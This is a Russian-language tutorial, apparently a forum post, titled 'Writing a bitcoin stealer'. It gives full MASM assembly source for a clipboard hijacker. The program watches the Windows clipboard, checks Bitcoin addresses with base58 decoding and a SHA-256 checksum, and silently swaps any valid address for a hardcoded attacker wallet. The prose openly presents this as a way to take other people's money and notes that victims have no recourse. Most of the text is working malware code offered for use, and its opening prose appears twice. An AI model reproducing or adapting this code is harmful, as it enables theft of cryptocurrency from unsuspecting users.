Пишем стилер биткоинов
Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.
Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.
Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.
Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.
Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.
У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.
Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова
я добавил ещё
Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.
Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.
Авторы статьи:
(с) kaimi

Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.
Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.
Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.
Код:
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
uselib kernel32, user32, advapi32, masm32
.const
; Диапазон допустимой длины адреса кошелька
wallet_len_min equ 27
wallet_len_max equ 34
; Код версии адреса
address_version equ 00h
; Набор символов, используемых в адресе
; Кроме: 0 O I l
wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0
; Адрес, на который будет заменяться значение в буфере
wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0
.data?
prov dd ?
Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.
Код:
.code
; Вспомогательные функции
; Небольшая функция для логирования отладочной информации
log_message proc msg:dword
local buffer[256]:byte
invoke GetLastError
invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax
invoke OutputDebugString, addr buffer
ret
log_message endp
base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword
; Будем опираться на констаны, свойственные для проверки кошелька
; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
; Декодирование исключительно под адрес кошелька,
; для абстрактной строки в base58 функцию необходимо править
; Заполняем содержимое буфера нулями
xor eax, eax
mov ecx, 25
mov edi, out_buffer
rep stosb
mov esi, in_buffer
mov edi, out_buffer
m1:
; Нулл-байт во входном буфере - конец декодирования
movzx eax, byte ptr[esi]
test eax, eax
je m5
; Сохраним регистр на время сканирования символа в eax
push esi
; Символ должен быть из набора wallet_symbols
mov esi, offset wallet_symbols
m2:
movzx ebx, byte ptr[esi]
; Если байты совпадают, то символ входит в набор допустимых
cmp eax, ebx
jz m3
; Если мы дошли до конца набора допустимых символов (нулл-байт)
; и все ещё не вышли из цикла, значит, символ не из набора
test ebx, ebx
je err0
; Продолжаем проверку
inc esi
jmp m2
m3:
; Поместим в eax позицию найденого в наборе символа
mov eax, esi
mov esi, offset wallet_symbols
sub eax, esi
; Вложенный цикл с конца выходного буфера
mov ebx, 25 - 1
m4:
; N-й элемент буфера (с конца) умножим на 58
; и прибавим к позиции упомянутой выше
movzx ecx, byte ptr[edi + ebx]
imul ecx, 58
add eax, ecx
; Сохраним в выходной буфер результат деления с остатком
push ebx
cdq
mov ebx, 256
div ebx
pop ebx
mov byte ptr[edi + ebx], dl
; Поделим позицию элемента на 256
push ebx
cdq
mov ebx, 256
div ebx
mov eax, edx
pop ebx
; Конец тела вложенного цикла
dec ebx
test ebx, ebx
jne m4
pop esi
; Если в eax что-то отличное от нулл-байта,
; значит, адрес кошелька имеет некорректный размер
test eax, eax
jne err1
inc esi
jmp m1
m5:
mov eax, 1
ret
err0:
pop esi
invoke log_message, chr$("invalid symbol")
mov eax, 0
ret
err1:
invoke log_message, chr$("invalid address length")
mov eax, 0
ret
base58_decode endp
Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.
Код:
; Инициализация нужного криптопровайдера
sha256init proc
invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
.if eax == 0
invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
.endif
ret
sha256init endp
sha256fini proc
invoke CryptReleaseContext, prov, 0
ret
sha256fini endp
; Хэширование SHA256
sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
local hash:dword
local aux:dword
; CALG_SHA_256 - 0x0000800c
invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
.if eax == 0
invoke log_message, chr$("CryptCreateHash")
jmp err
.endif
invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
.if eax == 0
invoke log_message, chr$("CryptHashData")
jmp err
.endif
mov aux, sizeof dword
invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
.if eax == 0
invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
jmp err
.endif
invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
.if eax == 0
invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
jmp err
.endif
err:
.if hash != 0
invoke CryptDestroyHash, hash
.endif
ret
sha256 endp
У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.
Код:
; Функция проверки адреса
validate_wallet proc uses esi edi, buffer:dword
local decoded[32]:byte
local digest1[32]:byte
local digest2[32]:byte
invoke lstrlen, buffer
.if eax < wallet_len_min || eax > wallet_len_max
invoke log_message, chr$("wallet length error")
jmp err
.endif
; Декодируем адрес из base58
invoke base58_decode, buffer, addr decoded
.if eax == 0
invoke log_message, chr$("base58_decode error")
jmp err
.endif
; Проверяем версию
lea eax, decoded
mov al, byte ptr[eax]
.if al != address_version
invoke log_message, chr$("address version error")
jmp err
.endif
invoke sha256, addr decoded, 21, addr digest1, sizeof digest1
invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2
; Сравним декодированную и посчитанную контрольные суммы
lea esi, decoded
add esi, 21
lea edi, digest2
mov ecx, 4
repz cmpsb
jnz err
mov eax, 1
ret
err:
mov eax, 0
ret
validate_wallet endp
start proc
local clipboard_data:dword
invoke sha256init
.if eax == 0
invoke log_message, chr$("sha256init")
jmp err
.endif
.while TRUE
invoke GetClipboardText
.if eax != 0
mov clipboard_data, eax
; Проверим содержимое буфера обмена и заменим,
; если это адрес Bitcoin кошелька
invoke validate_wallet, clipboard_data
.if eax != 0
invoke log_message, chr$("valid wallet detected")
invoke SetClipboardTextEx, offset wallet_replace
.endif
invoke GlobalFree, clipboard_data
.endif
invoke Sleep, 500
.endw
err:
invoke sha256fini
invoke ExitProcess, 0
ret
start endp
end start
Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова
Код:
invoke OpenClipboard,NULL ; open clipboard
я добавил ещё
Код:
invoke EmptyClipboard ; clear clipboard
Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.
Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.
Авторы статьи:
(с) kaimi
Последнее редактирование: